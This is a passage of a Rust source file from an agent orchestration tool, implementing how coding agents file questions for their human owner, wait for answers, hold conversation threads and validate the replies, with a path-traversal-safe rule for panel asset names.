magi/ask.rs
1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59pub const SCHEMA: u32 = 5;
60
61/// How often the wait re-reads the question file.
62///
63/// Three seconds: the answer comes from a human on a phone, so the difference
64/// between three seconds and three hundred milliseconds is invisible to them,
65/// while a tight loop would `stat` and parse a file thousands of times per
66/// minute for a wait that routinely lasts hours. Nothing is held between polls -
67/// no lock, no open handle - because `magi web` and `magi answer` write the
68/// same file from other processes.
69const POLL: Duration = Duration::from_secs(3);
70
71/// How long an agent's reply may go unnoticed before it earns its own
72/// notification.
73///
74/// An operator reading the card when the agent replies does not need paging
75/// again for a conversation they are already in; one who walked away still
76/// needs the tap on the shoulder. Five minutes is a judgement call about that
77/// line, not a policy a repository has an opinion about, which is why it lives
78/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
79/// whether they are still looking at the phone, and neither can this build, so
80/// there is nothing for a per-repository setting to be *right* about.
81const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
82
83/// How long the operator's notification command may run before it is killed.
84///
85/// A webhook that hangs must not hang the run. Twenty seconds is long enough
86/// for a slow HTTP round trip and short enough that the operator still gets the
87/// question filed and the run parked in a bounded time.
88const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
89
90/// The longest a single `magi ask` invocation may block on the owner before
91/// it hands the wait back to whatever is running it, rather than to
92/// [`Question::abandon`].
93///
94/// `answer_timeout` defaults to a day, and that is a deadline for the
95/// *question*, not a budget the calling process is free to spend all at
96/// once: an agent CLI's own shell tool kills a command that runs much longer
97/// than this, and the child it kills is `magi ask` itself - the one thing
98/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
99/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
100/// out, and the seat's own summary said it had backgrounded the blocking
101/// `magi ask` and would "continue once the owner replies" - except nothing
102/// was left to notice the reply. The seat exited `completed`, the
103/// backgrounded child died with it, and the owner's eventual answer on the
104/// web UI had nobody left to read it.
105///
106/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
107/// and returns [`Wait::Pending`] if nothing happened, which is not a
108/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
109/// process the tool timeout has never seen. Four minutes leaves a ten-minute
110/// tool budget room for the CLI's own startup and the notification's round
111/// trip, while staying long enough that an owner who answers within the hour
112/// is not making an agent loop through fifteen slices to hear about it.
113const WAIT_SLICE: Duration = Duration::from_secs(240);
114
115/// How long a lease stays believable after its last beat.
116///
117/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
118/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
119/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
120/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
121/// or about to be, and a lease that is merely between two calls must not be
122/// mistaken for that - the daemon waiter would start a second agent on a
123/// conversation the first is still in.
124pub const LEASE_TTL: Duration = Duration::from_secs(90);
125
126/// How long [`Questions::update`]'s lock may be held before it is presumed
127/// left behind by a writer that died.
128const LOCK_STALE: Duration = Duration::from_secs(10);
129
130/// Environment variable naming the base URL of the web UI, for `{url}`.
131///
132/// A run cannot discover this by itself: `magi web` is a different process,
133/// usually started by hand and often on a different machine on the tailnet, and
134/// the address it settled on (Tailscale IP, port, or the fallback it warned
135/// about) exists only in that process. So the operator names it once, in the
136/// environment `magi serve` runs in - `magi web --open` prints exactly the
137/// string to use on stdout. Unset means `{url}` expands to nothing rather than
138/// to a guess: a notification carrying a link to an address nothing is
139/// listening on is worse than one carrying no link at all.
140pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
141
142/// Largest panel magi will store, html plus assets.
143///
144/// Checked as a total, before a single byte is written, because the failure
145/// this prevents is not a full disk but a half-copied panel: an agent that
146/// points at a 200 MB screen recording must get one clean error, not a
147/// directory holding the three small files that fitted before the copy died.
148/// Eight mebibytes is far more than a diff, a table and a handful of images
149/// need, and small enough that a phone on a hotel link still renders it.
150pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
151
152/// Suffix of the directory holding one question's panel.
153///
154/// A sibling of `<id>.json` rather than a subdirectory of the store, so
155/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
156/// see it, and so a panel travels with the question it belongs to.
157const PANEL_DIR: &str = ".panel";
158
159/// The panel's entry point inside its directory.
160const PANEL_HTML: &str = "index.html";
161
162/// Scratch directory a panel is assembled in before it is swapped into place.
163const PANEL_TMP: &str = ".panel.tmp";
164
165/// The one asset filename rule, applied on write **and** on read.
166///
167/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
168/// containing `..`. The pattern is this narrow because the name arrives from
169/// two untrusted directions and is then joined onto a path: an agent naming
170/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
171/// character that could change what the join means is outside the set - `/`
172/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
173/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
174/// refused, which matters because on Windows `Path::join` with an absolute
175/// path *discards the whole prefix* and would serve any file on the disk.
176/// `..` is refused anywhere rather than only at the front so the rule reads
177/// the same as the sentence "no traversal" to anyone auditing it.
178///
179/// The length bound keeps a name inside every filesystem's limit, so a panel
180/// that stores cannot fail to store on the operator's other machine.
181pub fn valid_asset_name(name: &str) -> bool {
182 if name.is_empty() || name.len() > 64 || name.contains("..") {
183 return false;
184 }
185 let mut chars = name.chars();
186 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
187 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
188}
189
190/// Where a question is in its life.
191#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
192#[serde(rename_all = "lowercase")]
193pub enum QuestionStatus {
194 /// Asked, and waiting for the owner. A run is parked behind it.
195 Open,
196 /// The owner decided. [`Question::answer`] holds what they said.
197 Answered,
198 /// Nobody answered in time, or the question outlived the run that asked.
199 /// Kept rather than deleted: what was asked and never answered is the
200 /// evidence that the operator was the bottleneck.
201 Abandoned,
202}
203
204impl QuestionStatus {
205 /// Is a run still parked behind this question?
206 pub fn open(self) -> bool {
207 matches!(self, Self::Open)
208 }
209
210 /// Lowercase name, as it appears on disk and in the API.
211 pub fn as_str(self) -> &'static str {
212 match self {
213 Self::Open => "open",
214 Self::Answered => "answered",
215 Self::Abandoned => "abandoned",
216 }
217 }
218}
219
220/// What the owner said.
221///
222/// Two shapes rather than one string because the question decides which is
223/// admissible, and [`Question::answer`] enforces it. A phone that posts
224/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
225/// front end, and it is caught here rather than handed to an agent as fact.
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
227#[serde(rename_all = "lowercase")]
228pub enum Answer {
229 /// One of the offered choices, verbatim.
230 Choice(String),
231 /// Free text, for a question that offered no choices.
232 Text(String),
233}
234
235/// What the daemon does to the task behind a question when a particular
236/// choice is answered.
237///
238/// A closed set, attached to a choice by the asker (`magi ask --choice X
239/// --action X=resume`) and matched by the choice's exact text. Nothing here
240/// is ever derived from the wording of a label or of a free-text answer: a
241/// question without an action for the chosen label does nothing but answer.
242#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
243#[serde(tag = "do", rename_all = "lowercase")]
244pub enum ChoiceAction {
245 /// Resume this run of the task that owns the question.
246 Resume {
247 /// The run to continue. Must still be the task's latest run.
248 run: String,
249 },
250 /// Requeue the task as a fresh competition.
251 Requeue,
252 /// Close the task as done.
253 Done,
254}
255
256impl ChoiceAction {
257 /// Parse a `--action` value: `<label>=<verb>`, where the verb is
258 /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
259 /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
260 /// action; whether the label is one of the choices is the caller's check.
261 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
262 let Some((label, verb)) = spec.rsplit_once('=') else {
263 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
264 };
265 let label = label.trim();
266 if label.is_empty() {
267 bail!("`--action {spec}` names no choice before `=`");
268 }
269 let verb = verb.trim();
270 let action = match verb.split_once(':') {
271 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
272 run: run.trim().to_owned(),
273 },
274 None if verb == "resume" => {
275 if default_run.is_empty() {
276 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
277 }
278 Self::Resume {
279 run: default_run.to_owned(),
280 }
281 }
282 None if verb == "requeue" => Self::Requeue,
283 None if verb == "done" => Self::Done,
284 _ => bail!(
285 "unknown action `{verb}` in `--action {spec}`; \
286 use resume[:<run>], requeue or done"
287 ),
288 };
289 Ok((label.to_owned(), action))
290 }
291
292 /// Short human wording, for `magi show` and the card.
293 pub fn describe(&self) -> String {
294 match self {
295 Self::Resume { run } => format!("resume run {}", short(run)),
296 Self::Requeue => "requeue the task".to_owned(),
297 Self::Done => "mark the task done".to_owned(),
298 }
299 }
300}
301
302/// Parse every `--action` value against the offered `choices`, refusing a
303/// label the question does not offer (it could never fire).
304pub fn parse_actions(
305 specs: &[String],
306 choices: &[String],
307 default_run: &str,
308) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
309 let mut out = std::collections::BTreeMap::new();
310 for spec in specs {
311 let (label, action) = ChoiceAction::parse(spec, default_run)?;
312 if !choices.contains(&label) {
313 bail!(
314 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
315 choices.join(", ")
316 );
317 }
318 if out.insert(label.clone(), action).is_some() {
319 bail!("more than one --action for `{label}`");
320 }
321 }
322 Ok(out)
323}
324
325/// Who wrote one turn of a question's conversation.
326///
327/// Two values, not three: [`Question::thread`] is the record of a single
328/// question stopping and resuming, and the agent that resumes it is always
329/// the one that asked - a fresh consultant would have to be caught up on
330/// everything the first agent already knows, which is the round trip this
331/// module exists to avoid. The names and the wire spelling deliberately match
332/// [`crate::chat::Who`], which this module does not depend on: the two are the
333/// same idea in two products, and giving them the same shape is what lets the
334/// phone render both with one component.
335#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
336#[serde(rename_all = "lowercase")]
337pub enum Who {
338 /// The person the agent asked.
339 Operator,
340 /// The agent that asked, replying to a question of its own rather than
341 /// answering.
342 Agent,
343}
344
345/// One turn in a question's back-and-forth, after the question itself was
346/// asked.
347///
348/// The question's own `summary`/`detail`/`choices` already carry the agent's
349/// opening move, so a turn only exists from the moment the owner talks back -
350/// [`Question::thread`] starts empty and stays that way for the overwhelming
351/// majority of questions, which are answered on the first read.
352#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
353#[serde(deny_unknown_fields)]
354pub struct Turn {
355 /// Who said it.
356 pub who: Who,
357 /// What they said.
358 pub body: String,
359 /// When they said it.
360 pub at: Timestamp,
361}
362
363/// Who is keeping watch over an open question.
364#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
365#[serde(rename_all = "lowercase")]
366pub enum WaiterKind {
367 /// The `magi ask` process the agent started.
368 Asker,
369 /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
370 /// own session because the asker is gone.
371 Daemon,
372 /// The question's deputy ([`crate::deputy`]): a short-lived seat that
373 /// `magi serve` runs for a question the conductor filed, so that something
374 /// which remembers why it was asked is on the other end.
375 Deputy,
376}
377
378/// The follow-up seat a conductor question hands its wait to.
379///
380/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
381/// reply to its question would reach nobody. A deputy is a seat of its own -
382/// keyed `deputy-<question id>`, never the conductor's shared seat - that
383/// inherits what the conductor knew about this one question ([`Deputy::brief`])
384/// and blocks on it with `magi ask --wait`. Persisted on the question so a
385/// restarted daemon resumes the same CLI conversation instead of assuming it.
386///
387/// Written only through [`Questions::update`]: the owner's say and answer land
388/// on the same file.
389#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
390pub struct Deputy {
391 /// Why the question was asked, what each choice leads to: the conductor's
392 /// context for this one question, handed to the deputy in its prompt.
393 pub brief: String,
394 /// The agent that holds the seat. Empty until the first start.
395 #[serde(default)]
396 pub agent: String,
397 /// The deputy's own conversation. `None` until the first start.
398 #[serde(default)]
399 pub seat: Option<crate::agent::SeatState>,
400 /// How many times a deputy turn was started for this question. Never reset
401 /// by a restart, so a deputy that keeps dying is bounded.
402 #[serde(default)]
403 pub starts: u32,
404}
405
406impl Deputy {
407 /// A deputy that has not started yet, holding `brief`.
408 pub fn new(brief: String) -> Self {
409 Self {
410 brief,
411 agent: String::new(),
412 seat: None,
413 starts: 0,
414 }
415 }
416}
417
418/// Seat name of the deputy for question `id`.
419pub fn deputy_seat_key(id: &str) -> String {
420 format!("deputy-{}", short(id))
421}
422
423/// The record's note of who was last known to be waiting.
424///
425/// A note, not a promise: nothing rewrites the question when a holder dies, so
426/// whether it still holds is read from the [`Lease`] beside it.
427#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
428pub struct Waiter {
429 /// Who took the wait.
430 pub kind: WaiterKind,
431 /// When they took it.
432 pub since: Timestamp,
433}
434
435/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
436///
437/// A sidecar rather than a field of the question because a holder beats every
438/// few seconds, and rewriting the question that often would race the phone's
439/// answer and say with lost updates. It is not `*.json`, so
440/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
441/// different things across platforms, while a beat that stopped is evidence on
442/// every one.
443#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
444pub struct Lease {
445 /// Who beat last.
446 pub kind: WaiterKind,
447 /// Their process id, for a human reading the file.
448 pub pid: u32,
449 /// When they beat last.
450 pub beat_at: Timestamp,
451}
452
453impl Lease {
454 /// Was the last beat recent enough to believe the holder is still there?
455 pub fn fresh(&self, now: Timestamp) -> bool {
456 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
457 }
458}
459
460/// One decision magi will not take on the owner's behalf.
461#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
462#[serde(deny_unknown_fields)]
463pub struct Question {
464 /// On-disk format version.
465 pub schema: u32,
466 /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
467 /// task's, so the operator can paste any of them at any prefix argument.
468 pub id: String,
469 /// Run that is parked behind this question.
470 pub run: String,
471 /// Graph node the asking agent was working in, e.g. `implement`.
472 pub node: String,
473 /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
474 /// this" decides whether the answer unblocks one candidate or all of them.
475 pub seat: String,
476 /// One line: the question itself. This is what a notification carries and
477 /// what the phone shows above the answer controls.
478 pub summary: String,
479 /// The reasoning behind the question, as markdown. May be long, may be
480 /// empty. Rendered as text nodes by the UI, never as markup.
481 pub detail: String,
482 /// The admissible answers. **Empty means free text** - that one condition
483 /// is the whole difference between the two kinds of question, on disk, in
484 /// the UI, and in [`Question::answer`]'s validation.
485 pub choices: Vec<String>,
486 /// What the daemon does when a given choice is answered, keyed by the
487 /// choice's exact text. Empty for an ordinary question. A key is always
488 /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
489 #[serde(default)]
490 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
491 /// Does this question have an agent-authored HTML panel beside it?
492 ///
493 /// Serialised with a default so a question written by an older magi - or
494 /// by hand - still deserialises rather than failing the whole store, which
495 /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
496 /// open question the operator was looking for.
497 #[serde(default)]
498 pub panel: bool,
499 /// Files copied in beside the panel's html, by base name, sorted.
500 ///
501 /// The list exists so a reader knows what a panel is made of without
502 /// walking the directory, and every entry satisfies [`valid_asset_name`].
503 /// Sorted because it is compared - a question re-asked with the same
504 /// assets in a different argument order is not a different question.
505 #[serde(default)]
506 pub assets: Vec<String>,
507 /// Current state.
508 pub status: QuestionStatus,
509 /// When the agent asked.
510 pub asked_at: Timestamp,
511 /// When the owner answered, if they did.
512 pub answered_at: Option<Timestamp>,
513 /// What they said.
514 pub answer: Option<Answer>,
515 /// Everything said after the question itself, oldest first: the owner
516 /// asking back, the agent replying, as many times as it takes before an
517 /// [`Answer`] lands.
518 ///
519 /// `#[serde(default)]` so a question written before this field existed -
520 /// every question on disk before this build - still deserialises as one
521 /// with no conversation yet, rather than failing [`Questions::list`]'s
522 /// read and quietly hiding an open question from the operator.
523 #[serde(default)]
524 pub thread: Vec<Turn>,
525 /// The `answer_timeout`, in seconds, that was in force when this question
526 /// was first asked. `0` means unrecorded - a question written before this
527 /// field existed, or one filed by a flow (land's merge-approval gate)
528 /// that never sets it because it never resumes a sliced wait.
529 ///
530 /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
531 /// or the config default) is decided by the caller, after the question
532 /// already exists - so it starts at `0` here and whoever files a fresh
533 /// question sets it once, the same way [`Question::panel`] is set by
534 /// [`Questions::put_panel`] rather than by the constructor. It is never
535 /// touched again: `magi ask --wait` reads it as the one deadline it is
536 /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
537 /// on a later call can never quietly extend or shrink the budget the
538 /// question was actually asked with.
539 #[serde(default)]
540 pub answer_timeout: u64,
541 /// The directory the asking agent was working in when it asked, so the
542 /// daemon waiter can resume that agent's session from where it stood.
543 /// `None` for a question no `magi ask` filed (land's approval gate, a
544 /// release notice, one written before this field existed): those have no
545 /// agent to hand anything back to, and the waiter leaves them alone.
546 #[serde(default)]
547 pub cwd: Option<String>,
548 /// Who was last known to be waiting - see [`Waiter`].
549 #[serde(default)]
550 pub waiter: Option<Waiter>,
551 /// How many entries of [`Question::thread`] the agent has been shown, by
552 /// the asking process printing them or by the waiter resuming the seat.
553 /// The owner's turn at an index at or past this has reached nobody yet.
554 #[serde(default)]
555 pub delivered_turns: usize,
556 /// Has the agent been told the [`Answer`]? The asker prints it as it
557 /// returns; the waiter delivers it when the asker was gone.
558 #[serde(default)]
559 pub answer_delivered: bool,
560 /// The follow-up seat waiting on this question, for a question the
561 /// conductor filed. `None` for every other question.
562 #[serde(default)]
563 pub deputy: Option<Deputy>,
564}
565
566impl Question {
567 /// Ask something. Persist it with [`Questions::put`], or hand it to
568 /// [`ask_and_wait`], which files it and waits.
569 pub fn new(
570 run: String,
571 node: String,
572 seat: String,
573 summary: String,
574 detail: String,
575 choices: Vec<String>,
576 ) -> Self {
577 Self {
578 schema: SCHEMA,
579 id: new_id(),
580 run,
581 node,
582 seat,
583 summary,
584 detail,
585 choices,
586 actions: std::collections::BTreeMap::new(),
587 panel: false,
588 assets: Vec::new(),
589 status: QuestionStatus::Open,
590 asked_at: Timestamp::now(),
591 answered_at: None,
592 answer: None,
593 thread: Vec::new(),
594 answer_timeout: 0,
595 cwd: None,
596 waiter: None,
597 delivered_turns: 0,
598 answer_delivered: false,
599 deputy: None,
600 }
601 }
602
603 /// Short form used in reports and on the phone, matching a run's short id.
604 pub fn short(&self) -> &str {
605 short(&self.id)
606 }
607
608 /// The action attached to the choice that was answered, if the question
609 /// is answered with a choice that carries one. Free text never matches.
610 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
611 match (&self.status, &self.answer) {
612 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
613 _ => None,
614 }
615 }
616
617 /// Does this question want free text rather than one of a set?
618 pub fn free_text(&self) -> bool {
619 self.choices.is_empty()
620 }
621
622 /// Record an answer. Rejects a choice the question does not offer, free
623 /// text on a multiple-choice question, an empty answer, and a second
624 /// answer.
625 ///
626 /// Every rejection here is a case where accepting would put a fabrication
627 /// in front of an agent as if the owner had said it. The messages are
628 /// distinct because the caller is a web handler that shows them verbatim,
629 /// and "that is not one of the choices" and "this question is multiple
630 /// choice" are different mistakes with different fixes.
631 pub fn answer(&mut self, answer: Answer) -> Result<()> {
632 match self.status {
633 QuestionStatus::Answered => bail!(
634 "question {} was already answered; the run has moved on and a \
635 second answer would be a decision nobody acted on",
636 self.short()
637 ),
638 QuestionStatus::Abandoned => bail!(
639 "question {} was abandoned and the run behind it is gone",
640 self.short()
641 ),
642 QuestionStatus::Open => {}
643 }
644 let body = match &answer {
645 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
646 };
647 if body.trim().is_empty() {
648 bail!(
649 "question {} needs an answer; an empty one tells the agent \
650 nothing and it would guess anyway",
651 self.short()
652 );
653 }
654 match &answer {
655 Answer::Choice(c) if self.free_text() => bail!(
656 "question {} asks for free text, so `{c}` cannot be a choice \
657 it offered",
658 self.short()
659 ),
660 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
661 "`{c}` is not one of the choices question {} offers: {}",
662 self.short(),
663 self.choices.join(", ")
664 ),
665 Answer::Text(_) if !self.free_text() => bail!(
666 "question {} is multiple choice; answer with one of: {}",
667 self.short(),
668 self.choices.join(", ")
669 ),
670 _ => {}
671 }
672 self.answered_at = Some(Timestamp::now());
673 self.answer = Some(answer);
674 self.status = QuestionStatus::Answered;
675 Ok(())
676 }
677
678 /// Give up on an answer, keeping the record of what was asked.
679 ///
680 /// An answered question is left alone, which matters at exactly one moment:
681 /// the owner answering in the same second the wait's deadline passes. The
682 /// answer is the thing worth keeping there, and it has already been written
683 /// by another process.
684 ///
685 /// The reason is appended to [`Question::detail`] because the on-disk shape
686 /// is a contract with the front end and has no field of its own for it -
687 /// and "asked at 3am, nobody home for a day" belongs with the question, not
688 /// only in a log the operator will never open.
689 pub fn abandon(&mut self, why: impl Into<String>) {
690 if !self.status.open() {
691 return;
692 }
693 self.status = QuestionStatus::Abandoned;
694 let why = why.into();
695 let why = why.trim();
696 if why.is_empty() {
697 return;
698 }
699 if !self.detail.is_empty() {
700 self.detail.push('\n');
701 }
702 self.detail.push_str("\n_Abandoned: ");
703 self.detail.push_str(why);
704 self.detail.push_str("._\n");
705 }
706
707 /// The answer as the asking agent should read it.
708 ///
709 /// One string for both kinds of question: the agent's prompt says "the
710 /// owner answered:", and a chosen option and a typed sentence are the same
711 /// thing at that point. `None` while the question is open or abandoned, so
712 /// a caller cannot mistake silence for a decision.
713 pub fn resolution(&self) -> Option<String> {
714 match (self.status, &self.answer) {
715 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
716 Some(a.clone())
717 }
718 _ => None,
719 }
720 }
721
722 /// A deputy recording that the owner's own words settled the question.
723 ///
724 /// The owner decided in free text ("setup done") on a question that offers
725 /// choices, so no choice was ever tapped. This records `label` as the
726 /// answer - and nothing else: applying it is the daemon's existing path
727 /// for an answered conductor question. Refused unless the caller is this
728 /// question's deputy seat, `label` is one of the offered choices, and
729 /// `quote` appears verbatim in something the owner said; the quote is
730 /// kept in the thread as an agent turn so the record shows what the
731 /// decision rests on.
732 pub fn settle_by_deputy(&mut self, seat: &str, label: &str, quote: &str) -> Result<()> {
733 let Some(deputy) = &self.deputy else {
734 bail!("question {} has no deputy", self.short());
735 };
736 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
737 if own != Some(seat) {
738 bail!("only the deputy of question {} may settle it", self.short());
739 }
740 if !self.choices.iter().any(|c| c == label) {
741 bail!(
742 "`{label}` is not one of the choices offered on question {}",
743 self.short()
744 );
745 }
746 let quote = quote.trim();
747 if quote.is_empty()
748 || !self
749 .thread
750 .iter()
751 .any(|t| t.who == Who::Operator && t.body.contains(quote))
752 {
753 bail!(
754 "the quote is not something the owner said on question {}",
755 self.short()
756 );
757 }
758 self.thread.push(Turn {
759 who: Who::Agent,
760 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
761 at: Timestamp::now(),
762 });
763 self.delivered_turns = self.thread.len();
764 self.answer(Answer::Choice(label.to_owned()))
765 }
766
767 /// The owner speaking back without answering: a request for context, a
768 /// clarifying question, anything short of a decision.
769 ///
770 /// Rejects the same two states [`Question::answer`] does, and for the same
771 /// reason - a question with a recorded [`Answer`] or an abandoned one has
772 /// no run left listening for a reply - and an empty turn, which would tell
773 /// the agent nothing it didn't already know. Never changes `status`: the
774 /// question stays [`QuestionStatus::Open`], because the owner did not
775 /// decide anything, they only spoke, and `count_open`/`open_for` must keep
776 /// counting this as the one question it always was.
777 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
778 match self.status {
779 QuestionStatus::Answered => bail!(
780 "question {} was already answered; there is nothing left to \
781 discuss",
782 self.short()
783 ),
784 QuestionStatus::Abandoned => bail!(
785 "question {} was abandoned and the run behind it is gone",
786 self.short()
787 ),
788 QuestionStatus::Open => {}
789 }
790 let body = body.into();
791 if body.trim().is_empty() {
792 bail!("a message to question {} cannot be empty", self.short());
793 }
794 self.thread.push(Turn {
795 who: Who::Operator,
796 body,
797 at: Timestamp::now(),
798 });
799 Ok(())
800 }
801
802 /// The agent replying to the owner's last word, in place of an answer:
803 /// same question, same id, another round.
804 ///
805 /// `choices` replaces [`Question::choices`] wholesale rather than merging,
806 /// on the same reasoning [`Questions::put_panel`] replaces a panel
807 /// wholesale: the whole point of asking back is that what should be
808 /// offered next may have changed, and a caller that wanted the old set
809 /// unchanged can simply pass it again. An empty `Vec` means free text,
810 /// exactly as it does when the question is first asked.
811 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
812 match self.status {
813 QuestionStatus::Answered => bail!(
814 "question {} was already answered; replying now would not \
815 reach anyone",
816 self.short()
817 ),
818 QuestionStatus::Abandoned => bail!(
819 "question {} was abandoned and the run behind it is gone",
820 self.short()
821 ),
822 QuestionStatus::Open => {}
823 }
824 let body = body.into();
825 if body.trim().is_empty() {
826 bail!("a reply to question {} cannot be empty", self.short());
827 }
828 // An action whose label is no longer offered could never fire.
829 self.actions.retain(|label, _| choices.contains(label));
830 self.choices = choices;
831 let unread = self.unread_from_owner().is_some();
832 self.thread.push(Turn {
833 who: Who::Agent,
834 body,
835 at: Timestamp::now(),
836 });
837 // The agent has read everything up to its own reply - but only if
838 // nothing the owner said in the meantime is still unread. A second say
839 // that landed after the agent's last look must stay undelivered.
840 if !unread {
841 self.delivered_turns = self.thread.len();
842 }
843 Ok(())
844 }
845
846 /// What the owner said that the agent has not read yet, oldest first,
847 /// joined. `None` unless the question is open and such a turn exists.
848 ///
849 /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
850 /// second owner turn it never saw, which leaves the last turn the agent's
851 /// and the ball apparently back with the owner while a say is still unread.
852 pub fn unread_from_owner(&self) -> Option<String> {
853 if !self.status.open() {
854 return None;
855 }
856 let from = self.delivered_turns.min(self.thread.len());
857 let said: Vec<&str> = self.thread[from..]
858 .iter()
859 .filter(|t| t.who == Who::Operator)
860 .map(|t| t.body.as_str())
861 .collect();
862 (!said.is_empty()).then(|| said.join("\n\n"))
863 }
864
865 /// When the conversation last moved: the newest thread turn, or the asking
866 /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
867 /// every reply, so a deadline runs from here and not from `asked_at`.
868 pub fn last_activity(&self) -> i64 {
869 self.thread
870 .iter()
871 .map(|t| t.at.as_second())
872 .max()
873 .unwrap_or(0)
874 .max(self.asked_at.as_second())
875 }
876
877 /// Is the ball in the agent's court?
878 ///
879 /// True from the moment the owner speaks back until the agent's next
880 /// [`Question::reply`], and never on a fresh or an already-settled
881 /// question. [`QuestionStatus`] does not move for either side of this -
882 /// see [`Question::say`] - so this is the one place that state is
883 /// readable at all, which is why [`crate::web::QuestionView`] carries it
884 /// separately rather than asking the phone to infer it from the thread.
885 pub fn waiting_on_agent(&self) -> bool {
886 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
887 }
888
889 /// Should a notification go out right now?
890 ///
891 /// Always, for the very first ask: [`Question::thread`] is still empty, so
892 /// there is no earlier operator turn to have already caught anyone's
